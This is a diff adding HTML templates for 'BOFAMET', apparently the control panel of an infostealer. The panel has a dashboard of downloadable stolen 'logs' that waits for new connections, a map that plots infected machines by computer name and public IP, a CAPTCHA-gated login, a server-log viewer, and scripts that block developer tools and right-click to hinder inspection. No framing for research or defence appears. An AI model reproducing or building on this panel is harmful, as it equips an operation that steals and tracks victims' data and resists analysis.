<a href="{{ log.download_url }}" class="download-link">
<svg width="16" height="16" fill="currentColor" viewBox="0 0 24 24">
<path d="M5,20H19V18H5M19,9H15V3H9V9H5L12,16L19,9Z"/>
</svg>
{{ log.file_name_display }}
</a>
</div>
</div>
</div>
</div>
{% endfor %}
{% else %}
<div class="empty-state">
<div class="empty-state-icon">
<svg width="64" height="64" fill="currentColor" viewBox="0 0 24 24">
<path d="M20,12A8,8 0 0,0 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20A8,8 0 0,0 20,12M22,12A10,10 0 0,1 12,22A10,10 0 0,1 2,12A10,10 0 0,1 12,2A10,10 0 0,1 22,12M10,9.5C10,10.3 9.3,11 8.5,11C7.7,11 7,10.3 7,9.5C7,8.7 7.7,8 8.5,8C9.3,8 10,8.7 10,9.5M17,9.5C17,10.3 16.3,11 15.5,11C14.7,11 14,10.3 14,9.5C14,8.7 14.7,8 15.5,8C16.3,8 17,8.7 17,9.5M12,17.23C10.25,17.23 8.71,16.5 7.81,15.42L9.23,14C9.68,14.72 10.75,15.23 12,15.23C13.25,15.23 14.32,14.72 14.77,14L16.19,15.42C15.29,16.5 13.75,17.23 12,17.23Z"/>
</svg>
</div>
<h3 class="lang-text" data-ru="Нет данных для отображения" data-en="No data to display">Нет данных для отображения</h3>
<p class="lang-text" data-ru="BOFAMET ожидает новые подключения" data-en="BOFAMET waiting for new connections">BOFAMET ожидает новые подключения</p>
</div>
{% endif %}
</div>
</div>
<div id="map-tab" class="tab-content">
<div class="map-container" id="mapid"></div>
</div>
<!-- NEW TAB CONTENT FOR SERVER LOGS, YOU BASTARD! -->
<div id="server-logs-tab" class="tab-content">
<div class="control-buttons">
<button class="control-btn" id="refreshServerLogsBtn">
<svg width="16" height="16" fill="currentColor" viewBox="0 0 24 24">
<path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/>
</svg>
<span class="lang-text" data-ru="Обновить логи" data-en="Refresh Logs">Обновить логи</span>
</button>
</div>
<pre id="server-log-display"></pre>
</div>
</div>
<div class="footer">
<span class="lang-text" data-ru="Powered by BOFAMET. Created by" data-en="Powered by BOFAMET. Created by">Powered by BOFAMET. Created by</span>
<a href="https://t.me/BIOzolman" target="_blank">Zolman</a>.
</div>
<script src="https://unpkg.com/[email protected]/dist/leaflet.js"></script>
<script>
const themeToggle = document.getElementById('themeToggle');
const currentTheme = localStorage.getItem('theme') || 'dark';
document.documentElement.setAttribute('data-theme', currentTheme);
themeToggle.addEventListener('click', () => {
const currentTheme = document.documentElement.getAttribute('data-theme');
const newTheme = currentTheme === 'dark' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', newTheme);
localStorage.setItem('theme', newTheme);
themeToggle.style.transform = 'rotate(180deg)';
setTimeout(() => {
themeToggle.style.transform = 'rotate(0)';
}, 300);
});
const langToggle = document.getElementById('langToggle');
let currentLang = localStorage.getItem('lang') || 'ru';
function updateLanguage() {
document.getElementById('html-lang').setAttribute('lang', currentLang);
langToggle.textContent = currentLang === 'ru' ? 'EN' : 'RU';
document.querySelectorAll('.lang-text').forEach(el => {
el.textContent = el.getAttribute(`data-${currentLang}`);
});
localStorage.setItem('lang', currentLang);
}
langToggle.addEventListener('click', () => {
currentLang = currentLang === 'ru' ? 'en' : 'ru';
updateLanguage();
});
updateLanguage();
const tabButtons = document.querySelectorAll('.tab-btn');
const tabContents = document.querySelectorAll('.tab-content');
tabButtons.forEach(button => {
button.addEventListener('click', () => {
tabButtons.forEach(btn => btn.classList.remove('active'));
tabContents.forEach(content => content.classList.remove('active'));
button.classList.add('active');
const tabId = button.getAttribute('data-tab');
const tabContent = document.getElementById(tabId);
tabContent.classList.add('active');
if (tabId === 'map-tab' && !window.mapInitialized) {
initMap();
window.mapInitialized = true;
}
});
});
let map;
function initMap() {
map = L.map('mapid').setView([20, 0], 2);
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
className: 'map-tiles'
}).addTo(map);
loadLocationData();
}
async function loadLocationData() {
try {
const response = await fetch('/api/locations');
if (!response.ok) throw new Error('Ошибка загрузки данных');
const locations = await response.json();
locations.forEach(loc => {
if (loc.latitude !== 0 && loc.longitude !== 0) {
const marker = L.marker([loc.latitude, loc.longitude])
.addTo(map)
.bindPopup(`
<b>${loc.computer_name}</b><br>
IP: ${loc.public_ip}<br>
${loc.timestamp}
`);
setTimeout(() => {
marker.setOpacity(1);
}, 300);
}
});
if (locations.length > 0) {
const group = new L.featureGroup(locations.map(loc =>
L.marker([loc.latitude, loc.longitude])
));
map.fitBounds(group.getBounds().pad(0.1));
}
} catch (error) {
console.error('Ошибка при загрузке данных карты:', error);
}
}
window.addEventListener('resize', () => {
if (map) {
setTimeout(() => map.invalidateSize(), 300);
}
});
const logo = document.getElementById('logo');
logo.addEventListener('click', function() {
this.style.animation = 'logoClick 0.3s ease';
setTimeout(() => {
this.style.animation = '';
}, 300);
setTimeout(() => {
location.reload();
}, 200);
});
// Disable developer console functions (keeping the existing ones)
(function() {
function disable_f_keys() {
document.onkeydown = function(e) {
if (e.keyCode == 123) { // F12
return false;
}
if (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) { // Ctrl+Shift+I
return false;
}
if (e.ctrlKey && e.shiftKey && e.keyCode == 'C'.charCodeAt(0)) { // Ctrl+Shift+C
return false;
}
if (e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) { // Ctrl+Shift+J
return false;
}
if (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) { // Ctrl+U
return false;
}
};
}
function prevent_dev_tools() {
setInterval(function() {
if (window.outerWidth - window.innerWidth > 200 || window.outerHeight - window.innerHeight > 200) {
document.body.innerHTML = "<h1>Access Denied!</h1><p>Developer tools are not allowed.</p>";
window.stop();
}
}, 1000);
}
disable_f_keys();
prevent_dev_tools();
document.addEventListener('contextmenu', event => event.preventDefault());
})();
// Auto-refresh for Server Logs tab
let serverLogsInterval;
const serverLogsTabButton = document.querySelector('[data-tab="server-logs-tab"]');
const serverLogDisplay = document.getElementById('server-log-display');
async function fetchServerLogs() {
try {
const response = await fetch('/api/server_logs_data');
if (!response.ok) throw new Error('Failed to fetch server logs');
const data = await response.json();
serverLogDisplay.textContent = data.log_content;
serverLogDisplay.scrollTop = serverLogDisplay.scrollHeight; // Scroll to bottom
} catch (error) {
console.error('Error fetching server logs:', error);
serverLogDisplay.textContent = `Error loading logs: ${error.message}`;
}
}
serverLogsTabButton.addEventListener('click', () => {
clearInterval(serverLogsInterval); // Clear any existing interval
fetchServerLogs(); // Fetch immediately on tab click
serverLogsInterval = setInterval(fetchServerLogs, 8000); // Set auto-refresh
});
// Clear interval when switching away from server logs tab
tabButtons.forEach(button => {
button.addEventListener('click', () => {
const tabId = button.getAttribute('data-tab');
if (tabId !== 'server-logs-tab') {
clearInterval(serverLogsInterval);
}
});
});
// Initial check for active tab on load, to start logs refresh if it's the active one
document.addEventListener('DOMContentLoaded', () => {
const activeTab = document.querySelector('.tab-btn.active');
if (activeTab && activeTab.getAttribute('data-tab') === 'server-logs-tab') {
fetchServerLogs();
serverLogsInterval = setInterval(fetchServerLogs, 8000);
}
});
document.getElementById('refreshServerLogsBtn').addEventListener('click', fetchServerLogs);
</script>
</body>
</html>
+653
View File
@@ -0,0 +1,653 @@
<!-- login.html -->
<!DOCTYPE html>
<html lang="ru" id="html-lang">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>BOFAMET - Авторизация</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style>
:root {
--bg-primary: #121212;
--bg-secondary: #1e1e1e;
--text-primary: #e0e0e0;
--text-secondary: #a0a0a0;
--accent-primary: #2962ff;
--accent-secondary: #304ffe;
--accent-gradient: linear-gradient(135deg, #2962ff, #304ffe);
--border-color: #333333;
--input-bg: #252525;
--card-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
--transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
--glow: 0 0 15px rgba(41, 98, 255, 0.3);
}
[data-theme="light"] {
--bg-primary: #f8f9fa;
--bg-secondary: #ffffff;
--text-primary: #212529;
--text-secondary: #495057;
--accent-primary: #2962ff;
--accent-secondary: #304ffe;
--accent-gradient: linear-gradient(135deg, #2962ff, #304ffe);
--border-color: #dee2e6;
--input-bg: #f1f3f5;
--card-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
--glow: 0 0 15px rgba(41, 98, 255, 0.15);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Inter', sans-serif;
background-color: var(--bg-primary);
color: var(--text-primary);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 1.5rem;
transition: var(--transition);
background-image:
radial-gradient(circle at 10% 20%, rgba(41, 98, 255, 0.05) 0%, transparent 20%),
radial-gradient(circle at 90% 80%, rgba(41, 98, 255, 0.05) 0%, transparent 20%);
}
.login-container {
width: 100%;
max-width: 420px;
background: var(--bg-secondary);
border-radius: 16px;
padding: 2.5rem;
box-shadow: var(--card-shadow), var(--glow);
border: 1px solid var(--border-color);
transform: translateY(20px);
opacity: 0;
animation: fadeInUp 0.6s ease-out forwards;
transition: var(--transition);
}
@keyframes fadeInUp {
to {
transform: translateY(0);
opacity: 1;
}
}
.login-header {
text-align: center;
margin-bottom: 2rem;
}
.logo {
display: flex;
align-items: center;
justify-content: center;
gap: 0.75rem;
margin-bottom: 1.5rem;
cursor: pointer;
transition: var(--transition);
}
.logo:hover {
transform: translateY(-2px);
}
.logo-icon {
width: 44px;
height: 44px;
background: var(--accent-gradient);
border-radius: 12px;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-weight: 700;
font-size: 1.25rem;
box-shadow: var(--glow);
transition: var(--transition);
}
.logo:hover .logo-icon {
transform: rotate(10deg) scale(1.05);
}
.logo-text {
font-weight: 700;
font-size: 1.75rem;
color: var(--text-primary);
background: var(--accent-gradient);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.login-title {
font-size: 1.25rem;
font-weight: 500;
color: var(--text-secondary);
letter-spacing: 0.5px;
}
.form-group {
margin-bottom: 1.5rem;
position: relative;
}
.form-label {
display: block;
margin-bottom: 0.5rem;
font-weight: 500;
color: var(--text-primary);
transition: var(--transition);
}
.form-input {
width: 100%;
padding: 0.875rem 1rem;
border: 1px solid var(--border-color);
border-radius: 8px;
background: var(--input-bg);
color: var(--text-primary);
font-family: 'Inter', sans-serif;
font-size: 1rem;
transition: var(--transition);
box-shadow: 0 2px 5px rgba(0,0,0,0.05);
}
.form-input:focus {
outline: none;
border-color: var(--accent-primary);
box-shadow: 0 0 0 3px rgba(41, 98, 255, 0.2);
transform: translateY(-1px);
}
.password-container {
position: relative;
}
.toggle-password {
position: absolute;
right: 12px;
top: 50%;
transform: translateY(-50%);
background: none;
border: none;
color: var(--text-secondary);
cursor: pointer;
transition: var(--transition);
}
.toggle-password:hover {
color: var(--accent-primary);
}
.login-btn {
width: 100%;
padding: 0.875rem;
background: var(--accent-gradient);
color: white;
border: none;
border-radius: 8px;
font-family: 'Inter', sans-serif;
font-weight: 600;
font-size: 1rem;
cursor: pointer;
transition: var(--transition);
display: flex;
align-items: center;
justify-content: center;
gap: 0.5rem;
box-shadow: var(--glow);
position: relative;
overflow: hidden;
opacity: 0.5;
pointer-events: none;
}
.login-btn.active {
opacity: 1;
pointer-events: auto;
}
.login-btn::after {
content: '';
position: absolute;
top: -50%;
left: -50%;
width: 200%;
height: 200%;
background: rgba(255, 255, 255, 0.1);
transform: rotate(30deg);
transition: var(--transition);
opacity: 0;
}
.login-btn:hover {
transform: translateY(-2px);
box-shadow: 0 8px 20px rgba(41, 98, 255, 0.3);
}
.login-btn:hover::after {
opacity: 1;
transform: rotate(30deg) translate(0, 0);
}
.login-btn:active {
transform: translateY(1px);
}
.theme-control {
display: flex;
justify-content: center;
margin-top: 1.5rem;
gap: 0.75rem;
}
.theme-toggle {
background: var(--input-bg);
border: none;
cursor: pointer;
width: 40px;
height: 40px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-primary);
transition: var(--transition);
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
.theme-toggle:hover {
background: var(--bg-primary);
transform: rotate(15deg);
box-shadow: var(--glow);
}
.error-message {
color: #ff5252;
text-align: center;
margin-top: 1.5rem;
padding: 0.75rem;
border-radius: 8px;
background: rgba(255, 82, 82, 0.1);
font-weight: 500;
animation: shake 0.5s ease;
border: 1px solid rgba(255, 82, 82, 0.2);
}
@keyframes shake {
0%, 100% { transform: translateX(0); }
25% { transform: translateX(-5px); }
75% { transform: translateX(5px); }
}
.footer {
position: absolute;
bottom: 1.5rem;
left: 0;
width: 100%;
text-align: center;
color: var(--text-secondary);
font-size: 0.85rem;
}
.footer a {
color: var(--accent-primary);
text-decoration: none;
position: relative;
font-weight: 600;
}
.footer a::after {
content: '';
position: absolute;
bottom: -2px;
left: 0;
width: 0;
height: 1px;
background: var(--accent-primary);
transition: var(--transition);
}
.footer a:hover::after {
width: 100%;
}
@media (max-width: 480px) {
.login-container {
padding: 1.75rem;
}
.logo-text {
font-size: 1.5rem;
}
.logo-icon {
width: 36px;
height: 36px;
font-size: 1rem;
}
body {
padding: 1rem;
}
}
@keyframes logoClick {
0% { transform: scale(1); }
50% { transform: scale(0.9); }
100% { transform: scale(1); }
}
.lang-toggle {
background: var(--input-bg);
border: none;
width: 40px;
height: 40px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: var(--transition);
font-weight: 600;
font-size: 0.85rem;
color: var(--text-primary);
}
.lang-toggle:hover {
background: var(--bg-secondary);
box-shadow: var(--glow);
transform: scale(1.1);
}
.form-input[disabled] {
cursor: not-allowed;
background-color: var(--input-bg);
opacity: 0.7;
}
.captcha-container {
display: flex;
align-items: center;
margin-bottom: 1rem;
gap: 10px;
}
.captcha-image {
background-color: var(--input-bg);
border: 1px solid var(--border-color);
border-radius: 8px;
padding: 0.5rem 1rem;
font-size: 1.5rem;
font-weight: bold;
letter-spacing: 3px;
color: var(--accent-primary);
user-select: none;
cursor: pointer;
min-width: 120px;
text-align: center;
box-shadow: 0 2px 5px rgba(0,0,0,0.05);
transition: var(--transition);
}
.captcha-image:hover {
transform: scale(1.02);
box-shadow: var(--glow);
}
.captcha-input {
flex-grow: 1;
}
.captcha-refresh {
background: none;
border: none;
color: var(--text-secondary);
cursor: pointer;
transition: var(--transition);
display: flex;
align-items: center;
justify-content: center;
width: 40px;
height: 40px;
border-radius: 50%;
transition: var(--transition);
}
.captcha-refresh:hover {
color: var(--accent-primary);
transform: rotate(30deg);
background: var(--input-bg);
}
.captcha-error {
color: #ff5252;
font-size: 0.875rem;
margin-top: -0.75rem;
margin-bottom: 0.75rem;
text-align: center;
}
</style>
</head>
<body>
<div class="login-container">
<div class="login-header">
<div class="logo" id="logo">
<div class="logo-icon">B</div>
<div class="logo-text">BOFAMET</div>
</div>
<h2 class="login-title lang-text" data-ru="CONTROL PANEL" data-en="CONTROL PANEL">CONTROL PANEL</h2>
</div>
<form action="/login" method="post">
<div class="form-group">
<label for="username" class="form-label lang-text" data-ru="Имя пользователя" data-en="Username">Имя пользователя</label>
<input type="text" id="username" name="username" class="form-input" required autocomplete="off"
placeholder="Введите ваш логин" data-ru="Введите ваш логин" data-en="Enter your username" disabled>
</div>
<div class="form-group">
<label for="password" class="form-label lang-text" data-ru="Пароль" data-en="Password">Пароль</label>
<div class="password-container">
<input type="password" id="password" name="password" class="form-input" required autocomplete="off"
placeholder="Введите ваш пароль" data-ru="Введите ваш пароль" data-en="Enter your password" disabled>
<button type="button" class="toggle-password" id="togglePassword" disabled>
<svg width="20" height="20" fill="currentColor" viewBox="0 0 24 24">
<path d="M12,9A3,3 0 0,0 9,12A3,3 0 0,0 12,15A3,3 0 0,0 15,12A3,3 0 0,0 12,9M12,17A5,5 0 0,1 7,12A5,5 0 0,1 12,7A5,5 0 0,1 17,12A5,5 0 0,1 12,17M12,4.5C7,4.5 2.73,7.61 1,12C2.73,16.39 7,19.5 12,19.5C17,19.5 21.27,16.39 23,12C21.27,7.61 17,4.5 12,4.5Z"/>
</svg>
</button>
</div>
</div>
<div class="form-group">
<label for="captchaInput" class="form-label lang-text" data-ru="Введите капчу" data-en="Enter CAPTCHA">Введите капчу</label>
<div class="captcha-container">
<span id="captchaImage" class="captcha-image"></span>
<input type="text" id="captchaInput" class="form-input captcha-input" required autocomplete="off" placeholder="Введите символы" data-ru="Введите символы" data-en="Enter characters">
<button type="button" class="captcha-refresh" id="captchaRefresh">
<svg width="20" height="20" fill="currentColor" viewBox="0 0 24 24">
<path d="M17.65,6.35C16.2,4.9 14.21,4 12,4C7.58,4 4.07,7.06 3.44,11.39L2,12L3.44,12.61C4.07,16.94 7.58,20 12,20C16.21,20 19.72,16.9 20.35,12.61L21.79,12L20.35,11.39C19.72,7.06 16.21,4 12,4V2L15,5L12,8V6.35C9.8,6.35 7.82,7.25 6.36,8.71C4.9,10.17 4,12.16 4,14.35C4,16.54 4.9,18.52 6.36,19.98C7.82,21.44 9.8,22.34 12,22.34C14.21,22.34 16.2,21.44 17.65,19.98C19.1,18.52 20,16.54 20,14.35V12H18V14.35C18,15.7 17.5,17 16.65,17.95C15.8,18.9 14.59,19.5 13.24,19.5C11.88,19.5 10.68,18.9 9.82,17.95C8.97,17 8.47,15.7 8.47,14.35C8.47,12.99 8.97,11.69 9.82,10.74C10.68,9.79 11.88,9.19 13.24,9.19C14.59,9.19 15.8,9.79 16.65,10.74C17.5,11.69 18,12.99 18,14.35V12H20V14.35C20,16.54 19.1,18.52 17.65,19.98Z"/>
</svg>
</button>
</div>
<div id="captchaError" class="captcha-error" style="display: none;">Incorrect captcha</div>
</div>
<button type="submit" class="login-btn" id="loginBtn">
<svg width="20" height="20" fill="currentColor" viewBox="0 0 24 24">
<path d="M10,17V14H3V10H10V7L15,12L10,17M10,2H19A2,2 0 0,1 21,4V20A2,2 0 0,1 19,22H10A2,2 0 0,1 8,20V18H10V20H19V4H10V6H8V4A2,2 0 0,1 10,2Z"/>
</svg>
<span class="lang-text" data-ru="Войти" data-en="Login">Войти</span>
</button>
</form>
<div class="theme-control">
<button class="lang-toggle" id="langToggle">EN</button>
<button class="theme-toggle" id="themeToggle">
<svg width="20" height="20" fill="currentColor" viewBox="0 0 24 24">
<path d="M12,22 C17.5228475,22 22,17.5228475 22,12 C22,6.4771525 17.5228475,2 12,2 C6.4771525,2 2,6.4771525 2,12 C2,17.5228475 6.4771525,22 12,22 Z M12,20 L12,4 C16.418278,4 20,7.581722 20,12 C20,16.418278 16.418278,20 12,20 Z"/>
</svg>
</button>
</div>
{% if error_message %}
<div class="error-message">{{ error_message }}</div>
{% endif %}
</div>
<div class="footer">
<span class="lang-text" data-ru="Powered by BOFAMET. Created by" data-en="Powered by BOFAMET. Created by">Powered by BOFAMET. Created by</span>
<a href="https://t.me/BIOzolman" target="_blank">Zolman</a>.
</div>
<script>
const langToggle = document.getElementById('langToggle');
let currentLang = localStorage.getItem('lang') || 'ru';
function updateLanguage() {
document.getElementById('html-lang').setAttribute('lang', currentLang);
langToggle.textContent = currentLang === 'ru' ? 'EN' : 'RU';
document.querySelectorAll('.lang-text').forEach(el => {
el.textContent = el.getAttribute(`data-${currentLang}`);
});
document.querySelectorAll('input[data-ru], input[data-en]').forEach(input => {
input.setAttribute('placeholder', input.getAttribute(`data-${currentLang}`));
});
localStorage.setItem('lang', currentLang);
}
langToggle.addEventListener('click', () => {
currentLang = currentLang === 'ru' ? 'en' : 'ru';
updateLanguage();
});
updateLanguage();
const themeToggle = document.getElementById('themeToggle');
const currentTheme = localStorage.getItem('theme') || 'dark';
const logo = document.getElementById('logo');
const togglePassword = document.getElementById('togglePassword');
const passwordInput = document.getElementById('password');
document.documentElement.setAttribute('data-theme', currentTheme);
themeToggle.addEventListener('click', () => {
const currentTheme = document.documentElement.getAttribute('data-theme');
const newTheme = currentTheme === 'dark' ? 'light' : 'dark';
document.documentElement.setAttribute('data-theme', newTheme);
localStorage.setItem('theme', newTheme);
themeToggle.style.transform = 'rotate(180deg)';
setTimeout(() => {
themeToggle.style.transform = 'rotate(0)';
}, 300);
});
logo.addEventListener('click', function() {
this.style.animation = 'logoClick 0.3s ease';
setTimeout(() => {
this.style.animation = '';
}, 300);
setTimeout(() => {
location.reload();
}, 200);
});
togglePassword.addEventListener('click', function() {
const type = passwordInput.getAttribute('type') === 'password' ? 'text' : 'password';
passwordInput.setAttribute('type', type);
this.style.transform = 'scale(1.2)';
setTimeout(() => {
this.style.transform = 'scale(1)';
}, 200);
});
const inputs = document.querySelectorAll('.form-input');
inputs.forEach(input => {
input.addEventListener('focus', () => {
if (captchaVerified) {
input.parentElement.querySelector('.form-label').style.color = 'var(--accent-primary)';
}
});
input.addEventListener('blur', () => {
if (captchaVerified) {
input.parentElement.querySelector('.form-label').style.color = 'var(--text-primary)';
}
});
});
const captchaImage = document.getElementById('captchaImage');
const captchaInput = document.getElementById('captchaInput');
const captchaRefresh = document.getElementById('captchaRefresh');
const captchaError = document.getElementById('captchaError');
const usernameInput = document.getElementById('username');
const loginBtn = document.getElementById('loginBtn');
let currentCaptcha = '';
let captchaVerified = false;
function generateCaptcha() {
const chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
let result = '';
for (let i = 0; i < 5; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
function displayCaptcha() {
currentCaptcha = generateCaptcha();
captchaImage.textContent = currentCaptcha;
captchaInput.value = '';
captchaError.style.display = 'none';
disableForm();
}
function enableForm() {
usernameInput.removeAttribute('disabled');
passwordInput.removeAttribute('disabled');
togglePassword.removeAttribute('disabled');
loginBtn.classList.add('active');
captchaVerified = true;
}
function disableForm() {
usernameInput.setAttribute('disabled', 'disabled');
passwordInput.setAttribute('disabled', 'disabled');
togglePassword.setAttribute('disabled', 'disabled');
loginBtn.classList.remove('active');
captchaVerified = false;
}
captchaInput.addEventListener('input', () => {
if (captchaInput.value.toUpperCase() === currentCaptcha) {
captchaError.style.display = 'none';
enableForm();
} else {
captchaError.style.display = 'block';
disableForm();
}
});
captchaImage.addEventListener('click', displayCaptcha);
captchaRefresh.addEventListener('click', displayCaptcha);
displayCaptcha();
</script>
</body>
</html>
+112
View File
@@ -0,0 +1,112 @@
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="refresh" content="8">
<title>Server Logs - BOFAMET Control Panel</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="{{ url_for('static', path='/style.css') }}">
<style>
body {
background-color: var(--background-color);
color: var(--text-primary);
font-family: 'Courier New', Courier, monospace; /* Monospace font for logs */
}
.container {
max-width: 90%;
margin-top: 20px;
}
pre {
background-color: var(--background-secondary);
color: var(--text-primary);
padding: 15px;
border-radius: 5px;
white-space: pre-wrap; /* Preserve whitespace and wrap long lines */
word-wrap: break-word;
max-height: 80vh; /* Limit height */
overflow-y: auto; /* Scroll for overflow */
border: 1px solid var(--border-color);
}
/* Custom scrollbar for pre if needed */
pre::-webkit-scrollbar {
width: 8px;
height: 8px;
}
pre::-webkit-scrollbar-thumb {
background-color: var(--primary);
border-radius: 4px;
}
pre::-webkit-scrollbar-track {
background-color: var(--background-secondary);
}
</style>
</head>
<body>
<div class="container">
<h1 class="text-center my-4">Server Logs</h1>
<div class="d-flex justify-content-between align-items-center mb-3">
<ul class="nav nav-tabs">
<li class="nav-item">
<a class="nav-link" id="home-tab" href="/">Logs</a>
</li>
<li class="nav-item">
<a class="nav-link" id="map-tab" href="/#map">Map</a>
</li>
<li class="nav-item">
<a class="nav-link active" href="/server_logs" aria-current="page">Server Logs</a>
</li>
</ul>
<a href="/server_logs" class="btn btn-primary">Refresh Logs</a>
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
{% if log_content %}
<pre>{{ log_content }}</pre>
{% else %}
<div class="alert alert-warning text-center" role="alert">
No server logs found or the log file 'nohup.out' does not exist.
</div>
{% endif %}
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
// Disable developer console functions
(function() {
function disable_f_keys() {
document.onkeydown = function(e) {
if (e.keyCode == 123) { // F12
return false;
}
if (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) { // Ctrl+Shift+I
return false;
}
if (e.ctrlKey && e.shiftKey && e.keyCode == 'C'.charCodeAt(0)) { // Ctrl+Shift+C
return false;
}
if (e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) { // Ctrl+Shift+J
return false;
}
if (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) { // Ctrl+U
return false;
}
};
}
function prevent_dev_tools() {
setInterval(function() {
if (window.outerWidth - window.innerWidth > 200 || window.outerHeight - window.innerHeight > 200) {
document.body.innerHTML = "<h1>Access Denied!</h1><p>Developer tools are not allowed.</p>";
window.stop();
}
}, 1000);
}
disable_f_keys();
prevent_dev_tools();
// Prevent right-click context menu
document.addEventListener('contextmenu', event => event.preventDefault());
})();
</script>
</body>
</html>